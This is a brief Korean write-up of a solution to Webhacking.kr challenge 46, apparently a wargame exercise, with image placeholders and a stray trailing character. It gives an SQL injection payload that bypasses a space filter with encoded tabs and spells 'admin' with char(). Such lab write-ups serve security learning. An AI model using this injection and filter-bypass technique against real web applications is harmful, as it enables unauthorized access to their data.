Webhacking 46번 문제 풀이

[그림 1]

[그림 2]

lv을 Get으로 받고 필터링한다. (공백 limit등등...)

 

그에 맞춰서 구문을 짜주면 

 

?lv=99%09or%09id=char(97,100,109,105,110)

char로 변환되어 admin이 된다.

[그림 3]

클